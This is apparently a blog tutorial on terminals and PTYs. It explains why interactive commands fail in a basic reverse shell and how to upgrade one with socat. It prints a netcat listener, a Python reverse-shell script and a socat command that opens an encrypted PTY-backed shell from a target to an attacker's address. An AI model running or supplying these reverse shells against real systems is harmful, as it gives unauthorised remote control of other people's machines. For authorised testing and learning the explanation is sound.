Disclaimer: The purpose of this guide is to help you understand cybersecurity in depth. Please make sure you are authorised to run any of these commands on a computer that doesn't belong to you.
Why do interactive commands work in a normal shell?
In a normal terminal session, a user interacts with a terminal emulator. When a command is entered, the shell launches a new process and attaches its stdin, stdout and stderr to a PTY (Pseudo Terminal) slave.
The terminal emulator communicates with the PTY master while the shell and any child processes communicate with the PTY slave. The kernel makes sure that whatever is written to the master can be read from the slave, and whatever is written to the slave can be read from the master.
When you enter an interactive command like ssh, it'll check whether it's connected to a terminal via isatty(). If no terminal is present, it disables interactive behaviour and falls back to a non-interactive mode.
The diagram below is an overview of the entire process:
If you'd like to read more details, I recommend this article:
https://lfg.popovicu.com/series/the-shell-as-a-language/terminal-tty-and-shell/
Why don't interactive commands work in a reverse shell?
Assuming we have the most basic reverse shell connection, create a Netcat listener on your machine:
nc -lvp 8082
Then on the target machine, connect back to your machine:
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((YOUR_MACHINE_IP, 8082))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
# establish a TCP connection
subprocess.call(["/bin/sh", "-i"])
As you can see, the bash shell and its child processes now attach their stdin, stdout and stderr to a TCP socket rather than a PTY slave.
Since isatty() returns false, interactive commands will either behave strangely or fall back to a non-interactive mode.
How to make it work using socat
1. Precompile the executable
Before you do this, make sure you have obtained the target machine's OS version and CPU architecture. The compiled executable needs to be compatible with both, so it should be built on a compatible environment.
Run the following commands to build socat from source:
apt update
apt install -y build-essential libssl-dev
wget http://www.dest-unreach.org/socat/download/socat-<version>.tar.gz
tar xzf socat-<version>.tar.gz
cd socat-<version>
./configure
make
2. Create a socat listener on your machine
socat -d -d OPENSSL-LISTEN:8083,cert=shell.pem,verify=0,reuseaddr FILE:`tty`,raw,echo=0
3. Upload and execute the compiled binary on the target
./socat -d -d OPENSSL:10.150.60.2:8083,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane
Debug tip:
-d -denables verbose logging and helps troubleshoot connection problems.
With socat, the data flow looks like:
Your terminal emulator
│
existing PTY
│
FILE:`tty`
│
socat
════ network ════
socat
│
PTY master
│
kernel
│
PTY slave
│
bash
Since bash believes it is attached to a terminal, interactive commands work normally again.


Top comments (0)